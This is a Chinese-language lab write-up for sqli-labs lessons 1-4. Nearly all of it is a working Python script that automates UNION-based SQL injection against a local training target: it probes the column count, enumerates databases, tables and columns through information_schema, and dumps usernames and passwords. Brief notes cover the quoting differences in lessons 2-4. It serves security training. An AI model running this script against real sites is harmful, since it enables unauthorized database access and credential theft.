sqli-labs：1-4，基于报错的注入

sqli1：

脚本

 # -*- coding: utf-8 -*-
 """
 Created on Sat Mar 23 09:37:14 2019

 @author: kenshin
 """

 import requests,re
 url = 'http://localhost/sqli-labs/Less-1/?id=-1'

 def Len_OrderBy(url):
     pattern_mark = 'Unknown column'
     #假设字段长20
     for i in range(1,20):
         url_new = url + "\' order by "+ str(i) +"--+"
         r = requests.get(url_new)
         if(re.findall(pattern_mark,r.text)):
             print('the lenght of column(order by) is :' + str(i-1) + "\n")
             break
     return i-1

 def get_DB(url,lenght):
     #注意：由此模式匹配到的是一个数量为1的列表，后续按','将数量拆分成n个,以便输出
     pattern_mark = 'Your Login name:(.+?)<br>'
     str = ''
     for i in range(1,lenght):
         str += 'group_concat(schema_name),'
     str += 'group_concat(schema_name)'
     payload = '\' union select ' + str +' from information_schema.schemata--+'
     url += payload
     r = requests.get(url)
     r = re.findall(pattern_mark,r.text)
     #list转str
     str_tmp = "".join(r)
     #re.split按','拆分
     lst = re.split(',',str_tmp)
     print('-'*9 + 'databases' + '-'*8)
     for s in lst:
         print('.' + s )
     print('-'*25)

 def get_TB(url,lenght,db):
     pattern_mark = 'Your Login name:(.+?)<br>'
     str = ''
     for i in range(1,lenght):
         str += 'group_concat(table_name),'
     str += 'group_concat(table_name)'
     payload = "\' union select "+ str +" from information_schema.tables where table_schema=\'" + db + "\'--+"
     url += payload
     r = requests.get(url)
     r = re.findall(pattern_mark,r.text)
     #list转str
     str_tmp = "".join(r)
     #re.split按','拆分
     lst = re.split(',',str_tmp)
     print('-'*9 +'Database '+ db +'\'s Tables' + '-'*8)
     for s in lst:
         print('.' + s )
     print('-'*35)

 def get_Column(url,lenght,tb):
     pattern_mark = 'Your Login name:(.+?)<br>'
     str = ''
     for i in range(1,lenght):
         str += 'group_concat(column_name),'
     str += 'group_concat(column_name)'
     payload = "\' union select " +str+ " from information_schema.columns where table_name=\'" +tb+ "\'--+"
     url += payload
     r = requests.get(url)
     r = re.findall(pattern_mark,r.text)
     #list转str
     str_tmp = ''.join(r)
     #re.split按','拆分
     lst = re.split(',',str_tmp)
     print('-'*9 +'Table '+ tb +'\'s Columns' + '-'*8)
     for s in lst:
         print('.' + s )
     print('-'*35)

 def get_data(url,lenght,tb,data):
     pattern_mark = 'Your Login name:(.+?)<br>'
     pattern_mark_pass = 'Your Password:(.+?)</font>'
     #if lenght=5
     #data=a,b,c
     #after expend
     #data=a,b,c,4,5
     #str to list
     lst = data.split(",")
     while len(lst) < lenght:
         lst.append(str(len(lst)+1))
     #list to str
     sn = ''
     for i in lst:
         sn += i+","
     #以上循环结果sn='a,b,c,'  c后的‘，’舍去才能构造正确payload
     sn=sn.rstrip(",")
     #格式化输出结果
     print('-'*9 +'Table '+ tb +'\'s All datas' + '-'*8)
     #假设最多有100组数据
     for i in range(1,100):
         payload = "\' union select "+ sn +" from "+ tb +" where id="+ str(i) +"--+"
         url_new = url + payload
         r = r_pass = requests.get(url_new)
         r = re.findall(pattern_mark,r.text)
         r_pass = re.findall(pattern_mark_pass,r_pass.text)
         print(str(r) +" "*(16-len(str(r)))+"=>  "+str(r_pass)+" "*(18-len(str(r_pass)))+"|")
         if (len(r)==0 and len(r_pass)==0):
             break
     print("-"*41)

 #字段长度
 lenght = Len_OrderBy(url)
 #所有数据库
 get_DB(url,lenght)
 #由库爆表
 db = input("select databases >> ")
 get_TB(url,lenght,db)
 #由表爆列
 tb = input("select table >> ")
 get_Column(url,3,tb)
 #由表和列名爆数据
 data = input("select columns (no more than " +str(lenght)+ ",and separate by ',') >> ")
 get_data(url,lenght,tb,data)

脚本 1

sqli2：

与sqli1比较，少了 '，对id没有经过处理。

sqli3：

对id经过了')处理

 sqli4：

对id经过了")处理